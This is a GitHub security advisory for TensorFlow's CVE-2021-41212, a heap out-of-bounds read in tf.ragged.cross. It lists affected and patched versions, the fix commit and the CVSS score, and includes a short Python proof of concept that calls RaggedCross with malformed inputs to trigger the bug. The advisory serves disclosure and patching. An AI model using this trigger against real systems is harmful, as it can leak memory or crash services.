Skip to content

Heap OOB read in `tf.ragged.cross`

High severity GitHub Reviewed Published Nov 4, 2021 in tensorflow/tensorflow • Updated Feb 1, 2023

Package

pip tensorflow (pip)

Affected versions

>= 2.6.0, < 2.6.1
>= 2.5.0, < 2.5.2
< 2.4.4

Patched versions

2.6.1
2.5.2
2.4.4
pip tensorflow-cpu (pip)
>= 2.6.0, < 2.6.1
>= 2.5.0, < 2.5.2
< 2.4.4
2.6.1
2.5.2
2.4.4
pip tensorflow-gpu (pip)
>= 2.6.0, < 2.6.1
>= 2.5.0, < 2.5.2
< 2.4.4
2.6.1
2.5.2
2.4.4

Description

Impact

The shape inference code for tf.ragged.cross can trigger a read outside of bounds of heap allocated array:

import tensorflow as tf

@tf.function
def test():
  y = tf.raw_ops.RaggedCross(ragged_values=[],
                             ragged_row_splits=[],
                             sparse_indices=[[5]],
                             sparse_values=[],
                             sparse_shape=[5],
                             dense_inputs=[['a']],
                             input_order='RD',
                             hashed_output=False,
                             num_buckets=5,
                             hash_key=2,
                             out_values_type=tf.string,
                             out_row_splits_type=tf.int64)
  return y

test()

Patches

We have patched the issue in GitHub commit fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8.

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

References

@mihaimaruseac mihaimaruseac published to tensorflow/tensorflow Nov 4, 2021
Published by the National Vulnerability Database Nov 5, 2021
Reviewed Nov 8, 2021
Published to the GitHub Advisory Database Nov 10, 2021
Last updated Feb 1, 2023

Severity

High
7.1
/ 10

CVSS base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Weaknesses

CVE ID

CVE-2021-41212

GHSA ID

GHSA-fr77-rrx3-cp7g

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.